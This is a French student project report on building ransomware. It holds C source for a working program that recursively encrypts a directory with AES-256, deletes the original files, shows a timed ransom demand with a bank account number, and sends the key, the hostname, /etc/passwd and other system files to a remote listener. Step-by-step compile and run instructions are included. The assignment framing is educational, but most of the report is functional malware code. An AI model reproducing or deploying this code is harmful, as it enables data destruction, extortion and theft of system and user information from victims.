Maboge Quentin
Petrale Luca
Groupe E
IR

samedi 30 octobre 2021

# RANSOMWARE

## Développement

## 1. Comment fonctionne un ransomware type ?

Le ransomware ou encore le rançongiciel (provient du Québec) est un logiciel qui va chiffrer les données sur l'ordinateur en se déployant sur tout le système et demander une somme d'argent en échange de la clé de chiffrement. Ce type d'attaque est souvent introduit dans l'entreprise par des erreurs humaines.

## 2. Quel est l'objectif principal des concepteurs de ransomware ?

L'objectif principal est de mettre la/les victime(s) dans une situation inconfortable en essayant de touché le plus de données sensibles, avec une contrainte de temps, ainsi que de ne pas pouvoir appeler la police ou les médias. Afin de pouvoir soutirer un maximum d'argents aux personnes touchées qui n'ont prévu de backup de leurs données. Et donc, ces victimes pensent ne pas avoir d'autre choix que de payer.

## 3. Quel type de cryptographie adopter ? Symétrique ou asymétrique ? Pourquoi ? Quels sont les avantages de chaque méthode dans le contexte d'une attaque par ransomware ?

La clé qui va permettre de chiffrer et de déchiffrer les données de la victime utilisera la méthode de chiffrement symétrique qui implique l'utilisation d'une clé unique qui sera directement stockée dans le système local. Tandis que le chiffrement asymétrique utilise deux clés (publique et privée), mais une fois la rançon payée, si la victime partage la clé, ce serait une énorme perte de temps et d'argents pour l'hacker. Du coup, on utilise uniquement la méthode asymétrique pour crypter la clé reçue. (Cryptographie hybride)

| Symétrique | Asymétrique |
|---|---|
| Avantage | Avantage |
| ➔ Facile à mettre en place et rapide<br>➔ Demande peut de ressources CPU donc il est exécuté dans des délais raisonnable | ➔ Les clés ne circulent pas et ce n'est pas la même clé pour chiffrer ou déchiffrer donc plus robuste |

## 4. Quel est l'intérêt d'utiliser le réseau pour ce genre d'attaque ? Est-ce que le ransomware devra communiquer avec l'extérieur ? Pourquoi ?

L'intérêt d'utiliser le réseau est la suivante : le malfaiteur peut toucher énormément de monde et infecté beaucoup d'ordinateurs en même temps grâce à Internet. Ce qui serait plus compliqué si le malfaiteur injectait cette attaque physiquement via des disques amovibles. Et puis, comme l'attaque utilise le réseau, il est intéressant pour l'hacker d'être informé pour savoir quelles machines a été infectée pour pouvoir ainsi permettre la communication de la clé qui a permis d'encrypter. De plus, afin d'éviter différents soupçons, l'attaquant peut se servir de différents moyens tels que des serveurs dédiés ou encore des services en ligne.

## 5. Après avoir répondu à ces questions, tentez de lister les fonctions nécessaires pour votre programme avec pour chaque fonction, les paramètres d'entrées et de sorties.

- Une fonction détectant l'accès au réseau, si ce n'est pas le cas, pas de cryptage.
- Une fonction « Pathfinder » qui traverserait tout le système de fichier, parcourant la hiérarchie des répertoires. Pour chaque fichier trouvé, on appellera la fonction d'exception et ensuite une fonction d'encryptions.
- Une fonction d'exception qui recevra en paramètre, le chemin reçus de « Pathfinder ». Elle va faire en sorte de regarder l'extension du fichier et si c'est une vidéo ou un enregistrement vocal trop lourd, alors celui-ci ne sera pas envoyer à la fonction d'encryption.
- Une fonction qui génère des clés pour crypter, en entrée un mot de passe et en sortie la clé privée.
- Une fonction pour décrypter, qui recevra en entrer les fichiers crypter et la clé, et en sortie les fichiers décrypter.
- Une fonction qui s'occupe de créer une connexion au socket et de récupérer les informations utiles tels que le numéro de port, l'adresse internet, le protocole de connexion, ainsi que le système d'exploitation de la victime.

# 6. Référence

Cloudfront, Page de garde. Récupéré octobre 30, 2021 provenant https://d1fmx1rbmqrxrr.cloudfront.net/zdnet/optim/i/edit/ne/2021/08/Ransomware__w1200.jpg

Pixabay, Image de l'hacker. Récupéré octobre 30, 2021 provenant https://cdn.pixabay.com/photo/2020/04/10/20/09/hacker-5027679__340.jpg

Pixabay, Image du mot ransomware. Récupéré octobre 30, 2021 provenant https://pixabay.com/fr/illustrations/ransomware-virus-pirate-s%c3%a9curit%c3%a9-2430833/

# Rapport du programme

Ransom.c :

## 7. Les bibliothèques utilisées

- **<dirent.h>** : Il permet de manipuler des dossiers à notre guise grâce aux fonctions qui sont incluses à l'intérieur tels que opendir , readdir, etc…
- **<sys/socket.h>** : Il permet d'avoir accès à des familles du protocole internet, nous donne accès à la connexion TCP.
- **<unistd.h>** : Il apporte plusieurs fonctions de bases du langage c.
- **<arpa/inet.h>** : Il apporte des fonctions pour les ports et configurations réseaux.

## 8. Fonction « usage »

```
void usage()
{
    printf("-------------------------------------\n");
    printf("Bienvenue sur le projet de Ransomware\n");
    printf("-------------------------------------\n");
    printf("Procédure à suivre pour lancer le code:\n \n");
    printf("[1] -- Se mettre dans le dossier dans lequel le code s'y trouve\n");
    printf("[2] -- Taper la commande < gcc -o ransom ransom.c ransomlib.c -lcrypto >    \n");
    printf("[3] -- Lancer le server dans un autre terminal avec la commande < nc -l -v -p 8080 >    \n");
    printf("[4] -- Revenez dans votre premier terminal pour lancer l'encryption \n");
    printf("[5] -- La commande est celle ci : < ./ransom (chemin du repertoire à encrypter) -enc >  \n");
    printf("[6] -- Récuperer la clé et l'iv sur le server\n");
    printf("[7] -- Décrypter : <./ransom (chemin du répertoire à décrypter) -dec (clé) (iv)>    \n");
    printf("-------------------------------------\n");

    printf("[-enc] --> Encryption   \n");
    printf("[-dec] --> Decryption   \n");
    printf("[--help] --> Aide   \n");
}
```

Fonctionnement :

- **But** : avoir une aide et des informations sur le fonctionnement du programme.
- Juste une ribambelle de *printf* pour afficher les aides et comment lancer le programme.

## 9. Fonction « is_a_video »

```c
int is_a_video(char *filename)
{
    int ext = strlen(filename)-4;
    char extention[4];

    for(int counter=0; counter<5; counter++)
    {
        extention[counter] = filename[ext+counter];
    }

    if(strcmp(extention, ".mp4")==0 || strcmp(extention, ".mkv")==0)
    {
        return 0 ; // Retourne le fichier vidéo (mp4 ou mkv)
    }
}
```

Fonctionnement :

- **But** : vérifier si le fichier que l'on va encrypter est une vidéo, car les vidéos ne sont pas intéressantes à encrypter car elles ralentissent le ransomware.
- La signature : La fonction va retourner un entier et on lui donne en paramètre le nom du fichier à analyser.
- Vérification des quatre dernières lettres du nom du fichier pour avoir l'extension.
- Si c'est une vidéo la fonction return 0

## 10. Fonction « is_encrypted »

```
int is_encrypted(char *filename) //Ici on assure que le nom de nos fichiers cryptés seront en ".Pwnd"
{
    int ext = strlen(filename)-5;
    char extention[5] ;

    for(int counter=0; counter<6; counter++)
    {
        extention[counter] = filename[ext+counter];
    }

    if(strcmp(extention, ".Pwnd")==0)
    {
        return 0 ; // Retourne le fichier déjà crypté
    }

    else
    {
        return 1; // Retourne le fichier qui n'est pas encore crypté
    }
}
```

Fonctionnement :

- **But** : savoir si un fichier est déjà encrypté ou pas. Donc si l'extension du fichier est un « .Pwnd »
- La signature : La fonction va retourner un entier et on lui donne en paramètre le nom du fichier à analyser.
- Si l'extension est la même alors la fonction return 0.
- SI pas alors return 1

## 11. Fonction « Timer »

```c
void timer (int mount)
{
    int is_paid = 0;

        for(int counter = 10; counter > 0; counter--)
    {
        printf("Il vous reste %d secondes.\n", counter);
        printf("Compte bancaire : BE56751251151 \n");
        sleep(1);
    }

    printf("Avez-vous payé ? (1=Oui) \n");
    scanf("%d", &is_paid);

    if (is_paid == 1)
    {
        printf("Merci d'avoir payé : %d Euros \n", mount);
    }

    else
    {
        printf("Vos fichiers seront crypté à jamais!");
    }

}
```

Fonctionnement :

- **But** : faire un compte à rebours pour que la victime soit prise de panique.
- Sleep( ), fait en sorte que le programme se stop

```c
int amount_to_pay(int nb)
{
    printf("Nombre de fichier crypté : %d   \n", nb);
    printf("Tarif par fichier crypté : 500 euros \n");
    int mount = nb*500;
    printf("Votre raçons à payer s'élève à : %d \n", mount);
    timer(mount);
}
```

- **But** : faire un calcul en fonctions du nombre de fichiers encryptés

## 12. Fonction « listdir »

```
void listdir(const char *name, unsigned char *iv, unsigned char *key, char de_flag, int *nb)
{
    DIR* dir = opendir(name);

    if (dir == NULL)
    {
        handleErrors();
    }

    struct dirent* entity;
    entity = readdir(dir);

    while (entity != NULL)
    {
        if (entity->d_name[0] != '.')
        {
            char path[BUFSIZE] = {0};
            strcat(path, name);
            strcat(path, "/");
            strcat(path, entity->d_name);

            if(entity->d_type == DT_DIR && strcmp(entity->d_name, ".")!=0 && strcmp(entity->d_name, "..")!=0)
            {
                listdir(path, iv, key, de_flag, nb);
            }

            if(de_flag=='e' && entity->d_type == DT_REG && is_encrypted(entity->d_name) !=0 && is_a_video(entity->d_name) !=0)
            {
                encrypt(key, iv, path);

                *nb = *nb+1;
                remove(path);
            }

            else if(de_flag=='d' && entity->d_type == DT_REG && is_encrypted(entity->d_name) !=1)
            {
                decrypt(key, iv, path);
                remove(path);
            }
        }
        entity = readdir(dir);
    }
    closedir(dir);
}
```

Fonctionnement :

- **But** : fonction utilisée de manière récursive afin d'avoir les chemins d'accès à tous les fichiers dans tous les dossiers. Pour ensuite pourvoir encrypter et décrypter les fichiers
- Paramètres :
  - (Const char *name ) -> Le chemin vers le dossier
  - (unsigned char *iv) -> Pointeur du vecteur d'initialisation
  - (unsigned char *key) -> Pointeur vers la clé d'encryption
  - (char de_flag) -> Une lettre pour savoir ce que le programme doit faire
  - (int *nb) -> Nombres de fichiers cryptés.
- Initialisation de la structure DIR qui vient de <dirent.h> représentant un flux de répertoire. Et qui définit la fonction dirent().
- Vérification que la structure n'est pas vide.
- Initialisation de la fonction dirent() grâce à la fonction readdir() qui retourne un pointeur vers une structure représentante l'entrée du répertoire à la position actuel dans le flux de répertoire pour ensuite diriger le flux vers la prochaine entrée.
- Dirent() retourne un pointeur NULL si il atteint la fin du répertoire. Ce qui nous permet de faire une boucle avec cette information.
- Nous faisons un tri pour ne pas crypter les fichiers caché commençant par « . »

- Nous initialisons un chemin vers le fichier
- Avec strcat() nous rajoutons dynamiquement au chemin de base , le nom des fichiers grâce à la structure dirent qui va aller pointer vers le prochains fichier à chaque fois.
- Grace au type de fichier et au flag que nous avons, le fichier qui est pointer par le chemin au-dessus va soit, être crypter, soit être décrypter. En vérifiant que le fichier n'est pas déjà crypté ou n'est pas une vidéo.

## 13. Fonction « generate_key »

```
int generate_key(unsigned char *key, int sizeKey, unsigned char *iv, int sizeIv,char *pKey, char *pIv)
{
    if (!RAND_bytes(key, sizeKey) || !RAND_bytes(iv, sizeIv))
    {
        handleErrors();
    }

    bytes_to_hexa(key , pKey, sizeKey);
    bytes_to_hexa(iv , pIv, sizeIv);
}
```

Fonctionnement :

- Signature comprenant, la clé, la taille de la clé, le vecteur d'initialisation, sa taille, le pointeur vers la clé et pour finir le pointeur vers le vecteur d'initialisation.
- La fonction RAND_bytes() sert à générer un nombre pseudo-aléatoire de bytes et les stock dans les buffers. Cette fonction renvoie 1 en cas de succès sinon 0.
- On génère donc la clé et le vecteur d'initialisation en bytes.
- La fonction bytes_to_hexa() va permettre de faire passer la clé et le vecteur d'initialisation en hexadécimal pour pouvoir les afficher .

## 14. Fonction « send_txt »

```
void send_txt(char * filename, int sockID)
{
    FILE * file = fopen(filename, "r");
    char line[BUFSIZE];
    char filename_path[BUFSIZE] = {0};

    strcat(filename_path, "Les données viennent du fichier: ");
    strcat(filename_path, filename);
    strcat(filename_path, "\n");
    send(sockID, (const char *)filename_path, strlen(filename_path), 0);

    while (fgets(line, sizeof(line), file))
    {
        send(sockID, (const char *)line, strlen(line), 0);
    }
    fclose(file);
}
```

Fonctionnement :

- **But** : pouvoir envoyer au server des données de l'ordinateur attaqué et les faires passer par des sockets
- Dans les arguments nous avons le nom du fichier qui va être ouvert (son chemin) et l'ID du socket.
- Grâce à la structure FILE venant de la librairie <stdio.h> permettant d'ouvrir un fichier. Celui-ci peut être ouvert en plusieurs modes comme par exemple, en simple lecture « r », en écriture etc…
- On construit la phrase à envoyer grâce à strcat()
- On envoie ensuite le chemin du fichier au server grâce aux sockets.
- La boucle sert à lire, ligne par ligne le fichier tant que celui-ci n'a pas atteint sa fin.

## 15. Fonction « send_key »

```c
int send_key(char *pKey, char *pIv)
{
    int sockID;

    sockID = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in serveraddr;
    serveraddr.sin_family = AF_INET;
    serveraddr.sin_port = htons(port);
    serveraddr.sin_addr.s_addr = inet_addr(ip);

    char *send_key = "La clé de la victime: ";
    char *send_iv = "L'IV de la victime: ";
    char *space = "\t \n";
    char *hostname= "Le nom de la machine: ";
    char *separate = "-----------------------------------\n";

    char hostname_buffer[BUFSIZE];

    if (connect(sockID, (struct sockaddr *)&serveraddr, sizeof(serveraddr)) != 0)
    {
        printf("La connexion avec le serveur a échoué !\n");
        exit(0);
    }
    else
    {
        printf("La connexion avec le serveur est réussie !\n");

        gethostname(hostname_buffer, sizeof(hostname_buffer));

        send(sockID, (const char *)send_key, strlen(send_key), 0);
        send(sockID, (const char *)pKey, strlen(pKey), 0);
        send(sockID, (const char *)space, strlen(space), 0); // Evite que la clé soit mélangé avec le texte qui suit
        send(sockID, (const char *)send_iv, strlen(send_iv), 0);
        send(sockID, (const char *)pIv, strlen(pIv), 0);

        send(sockID, (const char *)space, strlen(space), 0);
        send(sockID, (const char *)hostname, strlen(hostname), 0);
        send(sockID, (const char *)hostname_buffer, strlen(hostname_buffer), 0);

        send(sockID, (const char *)space, strlen(space), 0);
        send(sockID, (const char *)separate, strlen(separate), 0);
        send_txt("/etc/fstab", sockID); // Envoie les UUID des partitions

        send(sockID, (const char *)space, strlen(space), 0);
        send(sockID, (const char *)separate, strlen(separate), 0);
        send_txt("/sys/class/net/eth0/address", sockID); // Envoie la MAC adresse

        send(sockID, (const char *)space, strlen(space), 0);
        send(sockID, (const char *)separate, strlen(separate), 0);
        send_txt("/etc/machine-id", sockID); // Envoie l'identifiant de la machine

        send(sockID, (const char *)space, strlen(space), 0);
        send(sockID, (const char *)separate, strlen(separate), 0);
        send_txt("/etc/passwd", sockID); // Envoie les noms d'utilisateurs et les noms des groupes

        send(sockID, (const char *)space, strlen(space), 0);
        send(sockID, (const char *)separate, strlen(separate), 0);
        send_txt("/etc/network/interfaces", sockID); // Envoie de la configuration réseau
    }
    close(sockID);
```

Fonctionnement :

- **But** : envoyer des informations du pc infecté par le ransomware et quelque informations personnel en plus. Via des sockets.
- La fonction socket (Domain, type, Protocol) sert à créer un socket. Le domaine sert à savoir si c'est en ipv4 ou ipv6, ici AF_INET représente l'ipv4. Le type de communication sert à savoir si c'est de l'udp ou du tcp, ici, SOCK_STREAM représente le TCP. Le Protocol représente une valeur pour l'IP, elle est toujours à 0.
- Initialisation de la structure sockaddr_in qui va servir à spécifier une adresse de transport et un port.
- Ensuite initialisation et déclaration de plusieurs variable à transmettre via les sockets
- L'appel système connect() connecte la socket référencée par le descripteur de fichier sockID à l'adresse spécifiée par addr. L'adresse et le port du serveur sont spécifiés dans addr. Et du coup si c'est différent de 0, la connexion a donc échoué.
- La fonction **gethostname()** va récupérer le nom de la machine et le transmettre dans notre hostname_buffer
- La fonction **send(nouvelle_socket, const *char, longueur de la string,0)** sert à envoyer au server les informations.

## 16. Fonction « Main »

```
int main (int argc, char * argv[])
{
    unsigned char key[AES_256_KEY_SIZE];
    unsigned char iv[AES_BLOCK_SIZE];

    int sizeKey = AES_256_KEY_SIZE;
    int sizeIv = AES_BLOCK_SIZE;
    int nb_encrpt_file = 0;

    if(strcmp(argv[2], "-enc")==0 && argc==3)
    {
        char * pKey = (char *) malloc(sizeof(key)*2+1);
        char * pIv = (char *) malloc(sizeof(iv)*2+1);

        printf("The directory is %s\n", argv[1]);
        generate_key(key, sizeKey, iv, sizeIv, pKey, pIv);
        send_key(pKey, pIv);
        listdir(argv[1], iv, key, 'e', &nb_encrpt_file);

        free((char *)pKey);
        free((char *)pIv);
        memset(key, '\0', sizeKey);
        memset(iv, '\0', sizeIv);
        printf("-------------------------------------\n");
        amount_to_pay(nb_encrpt_file);
    }

    if (strcmp(argv[2], "-dec")==0 && argc==5)
    {
        hexa_to_bytes(argv[3] , key, sizeKey);
        hexa_to_bytes(argv[4] , iv, sizeIv);
        listdir(argv[1], iv, key, 'd', &nb_encrpt_file);
        printf("Merci d'avoir payer la rançon !");
        memset(key, '\0', sizeKey);
        memset(iv, '\0', sizeIv);
    }

    if(strcmp(argv[2], "--help")==0)
    {
        usage();
    }
}
```

Fonctionnement :

- **But** : pouvoir lancé des parties du code spécifique grâce aux arguments durant l'exécution du programme.
- Initialisation et déclaration de la longueur de la clé et de l'iv et du nombre de fichiers encryptés.
- On va comparer si le deuxième argument correspond à « -enc » et qu'il y ait bien 3 arguments en tous. Pour pouvoir lancer tous les éléments liés à l'encryption
- On va créer un maloc pour pouvoir avoir un pointeur dynamique pour notre clé et iv. Et c'est 2 fois la taille plus 1.
- Memset() sert à free les pointeurs créés et aussi fait en sorte que personne ne puisse retrouvé les clés dans la mémoire car ça réécrit par-dessus .
- Pour la deuxième condition, c'est pareil mais il faut que le deuxième argument soit « -dec » et il lui faut 5 arguments car en plus du chemin, il lui faut la clé et l'iv original pour pouvoir décrypter.
- Vu que la clé et l'iv sont en hexa on les remet en bytes pour que le programme puisse déchiffrer. On décrypte et on vide les caches.
- Si vous lancé le code avec comme seul arguments « –help » cela vous affichera l'aide.

## 17. Comment lancer notre programme

**[1]** -- Se mettre dans le dossier dans lequel le code s'y trouve

**[2]** -- Taper la commande < gcc -o ransom ransom.c ransomlib.c -lcrypto>

**[3]** -- Lancer le server dans un autre terminal avec la commande < nc -l -v -p 8080>

**[4]** -- Revenez dans votre premier terminal pour lancer l'encryption

**[5]** -- La commande est celle-ci : < ./ransom (chemin du répertoire à encrypter) -enc

**[6]** -- Récupérer la clé et l'iv sur le server

**[7]** -- Décrypter : <./ransom (chemin du répertoire à décrypter) -dec (clé) (iv)>

**[-enc]** --> encryption

**[-dec]** --> decryption

**[--help]** --> aide

## 18. Liste d'amélioration

- Gestion des versions : https://github.com/Ortiste/ransomware
- Nettoyage de la mémoire
- Gestion des fichiers volumineux (vidéos)
- Clean code le plus possible
- Timer qui fait office d'un compte à rebours en plus du montant à payer
- Fonction qui permet de lire du contenu d'un fichier disponible sur la machine de la victime
- Permet obtenir plusieurs informations de la victime tels que :
  - Le hostname
  - Les UUID des partitions
  - L'identifiant de la machine
  - Les groupes et les utilisateurs présent dans la machine
  - La configuration réseau